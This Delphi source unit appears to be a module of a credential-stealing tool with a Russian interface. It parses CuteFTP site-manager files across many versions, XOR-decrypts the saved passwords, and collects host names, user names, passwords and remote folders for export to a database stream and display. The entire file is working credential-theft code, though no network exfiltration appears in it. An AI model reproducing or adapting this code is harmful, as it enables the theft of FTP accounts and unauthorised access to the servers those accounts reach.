unit Mod_CuteFTP;

interface

uses
  Windows, SysUtils, Classes, Mod_Common, xBase;

type
  PCuteFTPItem = ^TCuteFTPItem;
  TCuteFTPItem = record
    SiteName: String;
    HostName: String;
    UserName: String;
    Password: String;
    RemoteDir: String;
    Comments: String;
  end;

  TCuteFTPDecryptor = class(TObject)
  private
    FOnHandleHost: TNotifyEvent;
    FStream: TMemoryStream;
    function DecryptPass(const Value: String): String;
    function ReadByte: Byte;
    function ReadWord: Word;
    function ReadDWord: DWord;
    function ReadVariable(CLen: LongWord): String;
    function ReadByteString: String;
    procedure ProcessBookmarks(BookmarksCount: Integer);
  protected
    procedure ClearHostData;
  public
    FError: Integer;
    CuteFTPItem: TCuteFTPItem;

    constructor Create(Stream: TMemoryStream);
    procedure ProcessTreeDat;
    procedure ProcessSM;
    procedure ProcessSMData;

    property OnHandleHost: TNotifyEvent read FOnHandleHost write FOnHandleHost;
  end;

  TModuleCuteFTP = class(TModule)
  private
    DefList: TStringList;
    procedure FreeFTPList;
    procedure OnHandleHost(Sender: TObject);
    procedure RemoveDupes;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;
  public
    FTPList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;    
  end;

implementation

const
  ERR_CUTEFTP_VER       = 1; // Invalid .dat version
  TYPE_CUTEFTP_SM	= 0; // sm.dat
  TYPE_CUTEFTP_TREE	= 1; // tree.dat
  TYPE_CUTEFTP_SMDATA	= 2; // smdata.dat

{ TCuteFTPDecryptor }

constructor TCuteFTPDecryptor.Create(Stream: TMemoryStream);
begin
  FStream := Stream;
end;

function TCuteFTPDecryptor.DecryptPass(const Value: String): String;
var
  i: Integer;
begin
  Result := '';
  for i := 1 to Length(Value) do
    Result := Result + Chr(Ord(Value[i]) xor $c8);
end;

function TCuteFTPDecryptor.ReadByte: Byte;
begin
  FStream.ReadBuffer(Result, 1);
end;

function TCuteFTPDecryptor.ReadWord: Word;
begin
  FStream.ReadBuffer(Result, 2);
end;

function TCuteFTPDecryptor.ReadDWord: DWord;
begin
  FStream.ReadBuffer(Result, 4);
end;

function TCuteFTPDecryptor.ReadVariable(CLen: LongWord): String;
begin
  SetLength(Result, CLen);
  FStream.ReadBuffer(Result[1], CLen);
end;

function TCuteFTPDecryptor.ReadByteString: String;
var
  CLen: Byte;
begin
  CLen := ReadByte;
  if CLen = $ff then
    Result := ReadVariable(ReadWord)
  else
    Result := ReadVariable(CLen);
end;

// CuteFTP 1.7, 1.8, 2.0
procedure TCuteFTPDecryptor.ProcessTreeDat;
var
  CEntriesCount, i, j: Integer;
  CVersion: Word;
  CType: String;
begin
  if FStream.Size < 2 then Exit;

  for j := 1 to 2 do begin
    CEntriesCount := ReadWord;
    if CEntriesCount = 0 then Exit;

    ReadWord;  // Separator
    ReadWord; // Ident
    CType := ReadVariable(ReadWord); // Name of the type

    if CType = 'TreeItem' then
      for i := 1 to CEntriesCount do begin
        ReadByteString; // FolderName
        ReadWord; // Ident
        ReadWord; // ParentFromTop
        ReadWord; // Deep
        ReadWord; // ID
        ReadWord; // FirstChildFromTop
        ReadDWord; // Unknown

        if i <> CEntriesCount then
          ReadWord; // Separator
      end
    else if CType = 'CHostRec' then
      for i := 1 to CEntriesCount do begin
        CuteFTPItem.SiteName := ReadByteString;
        CuteFTPItem.HostName := ReadByteString;
        CuteFTPItem.UserName := ReadByteString;
        CuteFTPItem.Password := DecryptPass(ReadByteString);
        CuteFTPItem.RemoteDir := ReadByteString;
        ReadByteString; // Local directory
        CuteFTPItem.Comments := ReadByteString;
        if Assigned(OnHandleHost) then
          FOnHandleHost(Self);
        ClearHostData;

        ReadWord; // Transfer type

        CVersion := ReadWord;
        if (CVersion <> $97) and (CVersion <> $99) then begin
          FError := ERR_CUTEFTP_VER;
          Exit;
        end;

        ReadWord; // ParentFromTop
        ReadWord; // LoginType
        ReadWord; // Port
        ReadWord; // ConnRetries
        ReadWord; // RetriesDelay
        ReadWord; // MaxIndexSize
        ReadWord; // AutoLoadIndexFiles
        ReadWord; // LogicalParentDirs
        ReadWord; // UseFirewall
        ReadWord; // ResolveLinks
        ReadWord; // AutoRename
        ReadWord; // HostType

        if CVersion = $99 then begin
          // CuteFTP 2.0
          ReadWord; // KeepAlive
          ReadByteString; // LocalFilter
          ReadByteString; // RemoteFilter
          ReadWord; // LocalFiltering
          ReadWord; // UploadCaseType
        end;

        if i <> CEntriesCount then
          ReadWord; // Separator
      end
    else begin
      FError := ERR_CUTEFTP_VER;
      Exit;
    end;
  end;
end;

procedure TCuteFTPDecryptor.ClearHostData;
begin
  CuteFTPItem.SiteName := '';
  CuteFTPItem.HostName := '';
  CuteFTPItem.UserName := '';
  CuteFTPItem.Password := '';
  CuteFTPItem.RemoteDir := '';
  CuteFTPItem.Comments := '';
end;

procedure TCuteFTPDecryptor.ProcessBookmarks(BookmarksCount: Integer);
var
  CSeparator: Word;
  i: Integer;
begin
  CSeparator := ReadWord;

  if BookmarksCount = 0 then
    Exit;

  if CSeparator = $ffff then begin
    ReadWord; // Separator2
    ReadVariable(ReadWord); // TypeName
  end;

  for i := 1 to BookmarksCount do begin
    ReadDWord; // Ident
    ReadByteString; // BookmarkName
    ReadByteString; // RemPath
    ReadByteString; // LocPath
    ReadDWord; // UseDefPath
    ReadWord; // Separator
  end;
end;

{ All "Pro" versions. CuteFTP 4.0+. }
procedure TCuteFTPDecryptor.ProcessSM;
  procedure Handle3_4(Is4: Boolean);
  var
    i, FiltCount: Integer;
  begin
    CuteFTPItem.HostName := ReadByteString;
    CuteFTPItem.UserName := ReadByteString;
    CuteFTPItem.Password := DecryptPass(ReadByteString);
    CuteFTPItem.RemoteDir := ReadByteString;
    ReadByteString; // LocalFolder
    ReadDWord; // Port
    ReadDWord; // LoginMethod
    ReadDWord; // TransferType
    ReadDWord; // HostType

    ReadDWord; // ConnectionRetries
    ReadDWord; // RetriesDelay
    ReadDWord; // MaxIndexSize
    ReadDWord; // UseLogicalParentDir
    ReadDWord; // AutoCacheIndex
    ReadDWord; // UseAutoRenameScheme

    ReadDWord; // SmartKeepAlive
    ReadDWord; // Unknown
    ReadDWord; // SimpleDirListing
    ReadDWord; // AddSiteToShell
    ReadDWord; // UsePasvMode
    ReadDWord; // RenameSchemeType

    CuteFTPItem.Comments := ReadByteString;

    if Assigned(OnHandleHost) then
      FOnHandleHost(Self);
    ClearHostData;

    ReadDWord; // UseFirewallSettings
    ReadDWord; // EnableFilter

    ReadDWord; // Unknown
    ReadDWord; // Unknown
    ReadDWord; // SaveSessLogToFile
    ReadDWord; // CacheSiteResume

    ReadDWord; // Unknown
    ReadDWord; // ApplyFiltersLocal
    ReadDWord; // ApplyFiltersRemote
    ReadDWord; // ApplyFiltersFolder
    ReadDWord; // EnableRemFilters
    ReadByteString; // RemoteFilter

    ReadDWord; // ApplyFiltersUploads
    ReadDWord; // ApplyFiltersDownloads
    ReadDWord; // ApplyFiltersSiteToSite
    ReadDWord; // CaseSensitiveFiltering

    // Filter mask
    FiltCount := ReadWord;
    for i := 1 to FiltCount do
      ReadByteString; // Filter

    // Filter NOT mask
    FiltCount := ReadWord;
    for i := 1 to FiltCount do
      ReadByteString; // NotFilter

    ReadDWord; // EnableLocalFilters
    ReadDWord; // LastSessionStart
    ReadDWord; // LastSessionEnd

    if Is4 then
      ReadDWord; // CheckFileSizeOnDownl
  end;

  procedure Handle66;
  var
    i, FiltCount: Integer;
  begin
    CuteFTPItem.HostName := ReadByteString;
    ReadDWord; // LoginMethod
    CuteFTPItem.UserName := ReadByteString;
    CuteFTPItem.Password := DecryptPass(ReadByteString);
    CuteFTPItem.Comments := ReadByteString;

    ReadDWord; // Protocol
    ReadDWord; // Port
    ReadDWord; // ServerType
    ReadDWord; // DataConnType
    ReadDWord; // TransferType

    CuteFTPItem.RemoteDir := ReadByteString;

    if Assigned(OnHandleHost) then
      FOnHandleHost(Self);
    ClearHostData;

    ReadByteString; // LocalFolder

    ReadDWord; // CachingOptions
    ReadDWord; // Unknown
    ReadDWord; // UpldCaseOptions
    ReadDWord; // Unknown
    ReadDWord; // EnableFiltering
    ReadDWord; // Unknown
    ReadDWord; // ApplyFiltersToFolders
    ReadDWord; // EnableRemFilters

    ReadByteString; // RemoteFilter
    ReadDWord; // Unknown
    ReadDWord; // ApplyFiltersTransfers
    ReadDWord; // Unknown
    ReadDWord; // CaseSensFilters

    // Filter mask
    FiltCount := ReadWord;
    for i := 1 to FiltCount do
      ReadByteString; // Filter

    // Filter NOT mask
    FiltCount := ReadWord;
    for i := 1 to FiltCount do
      ReadByteString; // NotFilter

    ReadDWord; // Unknown
    ReadDWord; // SiteConfOptions
    ReadDWord; // ApplyAutoRename
    ReadDWord; // RawListing

    // Proxy
    ReadWord; // Unknown
    ReadByteString; // ProxyHost
    ReadDWord; // ProxyPort
    ReadByteString; // ProxyUser
    ReadByteString; // ProxyPass
    ReadDWord; // ProxyType
    ReadDWord; // ProxyUseAuth
    ReadDWord; // ProxyAuthType
    ReadByteString; // ProxyUser@

    // Proxy custom login sequence
    FiltCount := ReadWord; // LinesCount
    for i := 1 to FiltCount do
      ReadByteString; // SingleLine

    // Socks
    ReadWord; // Unknown
    ReadByteString; // SocksHost
    ReadDWord; // SocksPort
    ReadByteString; // SocksUser
    ReadByteString; // SocksPass
    ReadDWord; // SocksType
    ReadDWord; // SocksUseAuth

    ReadDWord; // ConnRetryAttmps
    ReadDWord; // ConnRetryDelay
    ReadDWord; // FTPPasswdProtect
  end;

  procedure Handle68_69(Is69: Boolean);
  var
    i, FiltCount: Integer;
  begin
    if Is69 then
      ReadByteString; // TimeZone

    ReadDWord; // MaxConnPerSite
    ReadDWord; // Flags
    CuteFTPItem.HostName := ReadByteString;
    ReadDWord; // LoginMethod
    CuteFTPItem.UserName := ReadByteString;
    CuteFTPItem.Password := DecryptPass(ReadByteString);
    CuteFTPItem.Comments := ReadByteString;

    ReadDWord; // Protocol
    ReadDWord; // Port
    ReadDWord; // ServerType
    ReadDWord; // DataConnType
    ReadDWord; // TransferType

    CuteFTPItem.RemoteDir := ReadByteString;

    if Assigned(OnHandleHost) then
      FOnHandleHost(Self);
    ClearHostData;

    ReadByteString; // LocalFolder

    ReadDWord; // CachingOptions
    ReadDWord; // Unknown
    ReadDWord; // UpldCaseOptions
    ReadDWord; // Unknown
    ReadDWord; // FilterFlags

    ReadByteString; // RemoteFilter

    // Filter mask
    FiltCount := ReadWord;
    for i := 1 to FiltCount do
      ReadByteString; // Filter

    // Filter NOT mask
    FiltCount := ReadWord;
    for i := 1 to FiltCount do
      ReadByteString; // NotFilter

    ReadDWord; // SiteConfOptions
    ReadDWord; // ApplyAutoRename
    ReadDWord; // NLSTList

    // Proxy
    ReadWord; // Unknown
    ReadByteString; // ProxyHost
    ReadDWord; // ProxyPort
    ReadByteString; // ProxyUser
    ReadByteString; // ProxyPass
    ReadDWord; // ProxyType
    ReadDWord; // ProxyUseAuth
    ReadDWord; // ProxyAuthType
    ReadByteString; // ProxyUser@

    // Proxy custom login sequence
    FiltCount := ReadWord; // LinesCount
    for i := 1 to FiltCount do
      ReadByteString; // SingleLine

    // Socks
    ReadWord; // Unknown
    ReadByteString; // SocksHost
    ReadDWord; // SocksPort
    ReadByteString; // SocksUser
    ReadByteString; // SocksPass
    ReadDWord; // SocksType
    ReadDWord; // SocksUseAuth

    ReadDWord; // ConnRetryAttmps
    ReadDWord; // ConnRetryDelay
    ReadDWord; // FTPPasswdProtect
  end;

var
  SubType, CObjVersion, SubItemsCount, CEntriesCount, j: LongWord;
  i: Integer;  
  CSeparator: Word;
  CType: String;
begin
  if (FStream.Size < 17) or (ReadDWord <> $130) then begin // Check version
    FError := ERR_CUTEFTP_VER;
    Exit;
  end;
  ReadByte; // SubVersion
  ReadDWord; // NextID
  CEntriesCount := ReadDWord;
  ReadDWord; // DefaultID

  CType := ''; CSeparator := 0; j := 0;
  while True do begin
    // Types & Entries
    if (CSeparator = $ffff) or (CType = '') then begin
      // New type found
      if CSeparator <> $ffff then
        ReadWord; // First separator
      ReadWord; // Unknown

      // Type length
      CType := ReadVariable(ReadWord);
      CSeparator := 0;
    end else begin
      // Check if out parser supports certain object type
      if (CType <> 'CTreeItem') and (CType <> 'CSMFTPItem') and (CType <> 'CSMSite') then begin
        FError := ERR_CUTEFTP_VER;
        Exit;
      end;

      ReadDWord; // Ident
      ReadDWord; // ID
      SubType := ReadDWord; // Subtype
      ReadDWord; // ParentID
      CuteFTPItem.SiteName := ReadByteString; // ItemName
      ReadDWord; // Icon

      case SubType of
        0: begin
          // FtpItem
          ReadDWord; // 0 - has bookmarks; 1 - has no bookmarks
          ReadDWord; // Flags
      	  ProcessBookmarks(ReadWord);

      	  CObjVersion := ReadDWord;
      	  // Select data handler
      	  case CObjVersion of
      	    $03: Handle3_4(False); { 4.0 }
      	    $04: Handle3_4(True); { 4.2 }
      	    $66: Handle66; { 1.0 Pro }
      	    $68: Handle68_69(False); { 2.0 Pro }
      	    $69: Handle68_69(True); { 3.0 Pro, 6.0 Home/Pro }
      	  else
      	    begin
              FError := ERR_CUTEFTP_VER;
              Exit;
      	    end;
      	  end;

      	  j := j + 1;
      	  if j = CEntriesCount then Exit;

      	  CSeparator := ReadWord;
        end;
        1: begin
          // TreeItem
          ReadDWord; // ShowContents
          ReadWord; // Unknown
          ReadDWord; // Unknown
	  SubItemsCount := ReadWord;

      	  for i := 1 to SubItemsCount do
      	    ReadDWord; // SubItem

      	  j := j + 1;
      	  if j = CEntriesCount then Exit;

      	  CSeparator := ReadWord;
        end;
      else begin
          FError := ERR_CUTEFTP_VER;
          Exit;
        end;
      end;
    end;
  end;
end;

{ CuteFTP 2.5, 2.6, 2.8 }
procedure TCuteFTPDecryptor.ProcessSMData;
var
  CEntriesCount, i, j: Integer;
  CType: String;
begin
  if FStream.Size < 2 then Exit;
  for j := 1 to 2 do begin
    CEntriesCount := ReadWord;
    if CEntriesCount = 0 then Exit;

    ReadWord; // Separator
    ReadWord; // Ident
    CType := ReadVariable(ReadWord); // Name of the type

    if CType = 'CFolderRec' then
      for i := 1 to CEntriesCount do begin
        ReadByteString; // FolderName
        ReadWord; // Unknown
        ReadWord; // Unknown
        ReadWord; // Deep
        ReadWord; // Unknown
        if i <> CEntriesCount then
          ReadWord; // Separator
      end
    else if CType = 'CHostRec' then
      for i := 1 to CEntriesCount do begin
        CuteFTPItem.SiteName := ReadByteString;
        CuteFTPItem.HostName := ReadByteString;
        CuteFTPItem.UserName := ReadByteString;
        CuteFTPItem.Password := DecryptPass(ReadByteString);
        CuteFTPItem.RemoteDir := ReadByteString;
        ReadByteString; // Local directory
        CuteFTPItem.Comments := ReadByteString;
        if Assigned(OnHandleHost) then
          FOnHandleHost(Self);
        ClearHostData;


        ReadWord; // Transfer type

        if (ReadWord <> $9b) then begin
          FError := ERR_CUTEFTP_VER;
          Exit;
        end;

        ReadWord; // Parent
        ReadWord; // LoginType
        ReadWord; // Port
        ReadWord; // ConnRetries
        ReadWord; // ConnDelay

        ReadWord; // MaxIndexSize
        ReadWord; // AutoLoadIndexFiles
        ReadWord; // LogicalParentDirs
        ReadWord; // UseFirewall
        ReadWord; // ResolveLinks

        ReadWord; // AutoRename
        ReadWord; // HostType
        ReadWord; // KeepAlive

        ReadByteString; // LocalFiler
        ReadByteString; // RemoteFilter

        ReadWord; // LocalFiltering
        ReadWord; // UploadFilenamesCase
        ReadWord; // SimpleDirListing

        if i <> CEntriesCount then
          ReadWord; // Separator
      end
    else begin
      FError := ERR_CUTEFTP_VER;
      Exit;
    end;
  end;
end;

{ TModuleCuteFTP }

destructor TModuleCuteFTP.Destroy;
begin
  FreeFTPList;
  inherited;
end;

procedure TModuleCuteFTP.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;
  
  ExportData([FTPList.Count]);
  for i := 0 to FTPList.Count-1 do
    with PCuteFTPItem(FTPList.Items[i])^ do
      ExportData([SiteName, HostName, UserName, Password, RemoteDir, Comments]);
end;

procedure TModuleCuteFTP.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P: PCuteFTPItem;
begin
  inherited;

  FTPList := TList.Create;
  
  for i := 0 to ImportData-1 do begin
    New(P);
    with P^ do begin
      SiteName := ImportData;
      HostName := ImportData;
      UserName := ImportData;
      Password := ImportData;
      RemoteDir := ImportData;
      Comments := ImportData;
    end;
    FTPList.Add(P);
  end;
end;

procedure TModuleCuteFTP.FreeFTPList;
var
  i: Integer;
begin
  if FTPList = nil then Exit;

  for i := 0 to FTPList.Count-1 do begin
    with PCuteFTPItem(FTPList.Items[i])^ do begin
      SiteName := '';
      HostName := '';
      UserName := '';
      Password := '';
      RemoteDir := '';
      Comments := '';
    end;
    Dispose(FTPList.Items[i]);
  end;

  FTPList.Free;
end;

function TModuleCuteFTP.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  for i := 0 to FTPList.Count-1 do
    Result := Result+ 'SiteName: ' + PCuteFTPItem(FTPList.Items[i]).SiteName + #13#10 +
       'HostName: ' + PCuteFTPItem(FTPList.Items[i]).HostName + #13#10 +
       'UserName: ' + PCuteFTPItem(FTPList.Items[i]).UserName + #13#10 +
       'Password: ' + PCuteFTPItem(FTPList.Items[i]).Password + #13#10 +
       'RemoteDir: ' + PCuteFTPItem(FTPList.Items[i]).RemoteDir + #13#10 +
       'Comments: ' + PCuteFTPItem(FTPList.Items[i]).Comments + #13#10#13#10;
end;

procedure TModuleCuteFTP.GetAsTree;
var
  i: Integer;
begin
  inherited;

  Append(ModuleName, 'Этот модуль содержит пароли CuteFTP', ICON_FOLDER);
  MoveIn;
  for i := 0 to FTPList.Count-1 do begin
    Append(PCuteFTPItem(FTPList.Items[i]).SiteName, GenHTMLList([
      'Хост: ' + PCuteFTPItem(FTPList.Items[i]).HostName,
      'Пользователь: ' + PCuteFTPItem(FTPList.Items[i]).UserName,
      'Пароль: ' + PCuteFTPItem(FTPList.Items[i]).Password,
      'Папка: ' + PCuteFTPItem(FTPList.Items[i]).RemoteDir,
      'Комментарии: ' + PCuteFTPItem(FTPList.Items[i]).Comments]), ICON_CUTE_FTP);
  end;
  MoveOut;
end;

function TModuleCuteFTP.GetIsEmpty: Boolean;
begin
  Result := FTPList.Count = 0;
end;

class function TModuleCuteFTP.GetModuleID: Integer;
begin
  Result := MODULE_CUTEFTP;
end;

class function TModuleCuteFTP.GetModuleName: String;
begin
  Result := 'CuteFTP';
end;

class function TModuleCuteFTP.GetModuleVersion: Integer;
begin
  Result := 0;
end;

procedure TModuleCuteFTP.OnHandleHost(Sender: TObject);
var
  P: PCuteFTPItem;
begin
  if (DefList <> nil) and (DefList.IndexOf(TCuteFTPDecryptor(Sender).CuteFTPItem.HostName) = -1) then begin
    New(P);
    FTPList.Add(P);
    P^ := TCuteFTPDecryptor(Sender).CuteFTPItem;
  end;
end;

procedure TModuleCuteFTP.RemoveDupes;
var
  i, j: Integer;
  Pi, Pj: PCuteFTPItem;
begin
  if FTPList = nil then Exit;
  i := 0;
  while i < FTPList.Count do begin
    Pi := FTPList.Items[i];
    j := i+1;
    while j < FTPList.Count do begin
      Pj := FTPList.Items[j];

      if (Pi.SiteName = Pj.SiteName) and (Pi.HostName = Pj.HostName) and (Pi.Password = Pj.Password) and
         (Pi.UserName = Pj.UserName) and (Pi.RemoteDir = Pj.RemoteDir) and (Pi.Comments = Pj.Comments) then begin
           // Dupe detected
           FTPList.Delete(j);
           Pj.SiteName := '';
           Pj.HostName := '';
           Pj.UserName := '';
           Pj.Password := '';
           Pj.RemoteDir := '';
           Pj.Comments := '';
           Dispose(Pj);
           j := j - 1;
         end;
      j := j + 1;
    end;
    i := i + 1;
  end;
end;

procedure TModuleCuteFTP.Run;
var
  DataItem: TDataItem;
  Decryptor: TCuteFTPDecryptor;
  M: TMemoryStream;
  HasError: Boolean;

begin
  inherited;

  DefList := TStringList.Create;
  DefList.Text := GetStringFromResource('CUTEFTP_DEFLIST');

  FTPList := TList.Create;

  while HasMoreData do begin
    DataItem := ReadData;
    case DataItem.cType of
      TYPE_CUTEFTP_SM, TYPE_CUTEFTP_TREE, TYPE_CUTEFTP_SMDATA: begin
        HasError := False;
        M := TMemoryStream.Create;
        M.WriteBuffer(DataItem.Data[1], Length(DataItem.Data));
        M.Seek(0, 0);
        Decryptor := TCuteFTPDecryptor.Create(M);
        try
          Decryptor.OnHandleHost := OnHandleHost;
          if DataItem.cType = TYPE_CUTEFTP_TREE then
            Decryptor.ProcessTreeDat
          else if DataItem.cType = TYPE_CUTEFTP_SM then
            Decryptor.ProcessSM
          else
            Decryptor.ProcessSMData;
          if Decryptor.FError <> 0 then
            HasError := True;
        except
          HasError := True;
        end;
        Decryptor.Free;
        M.Free;
        if HasError then begin
          FError := ERR_MOD_INTERNAL;
          DefList.Free;
          DefList := nil;
          Exit;
        end;
      end;
    else begin
        FError := ERR_UNK_ITEM;
        DefList.Free;
        DefList := nil;        
        Exit;
      end;
    end;
  end;        

  RemoveDupes;
  DefList.Free;
  DefList := nil;  
end;

end.
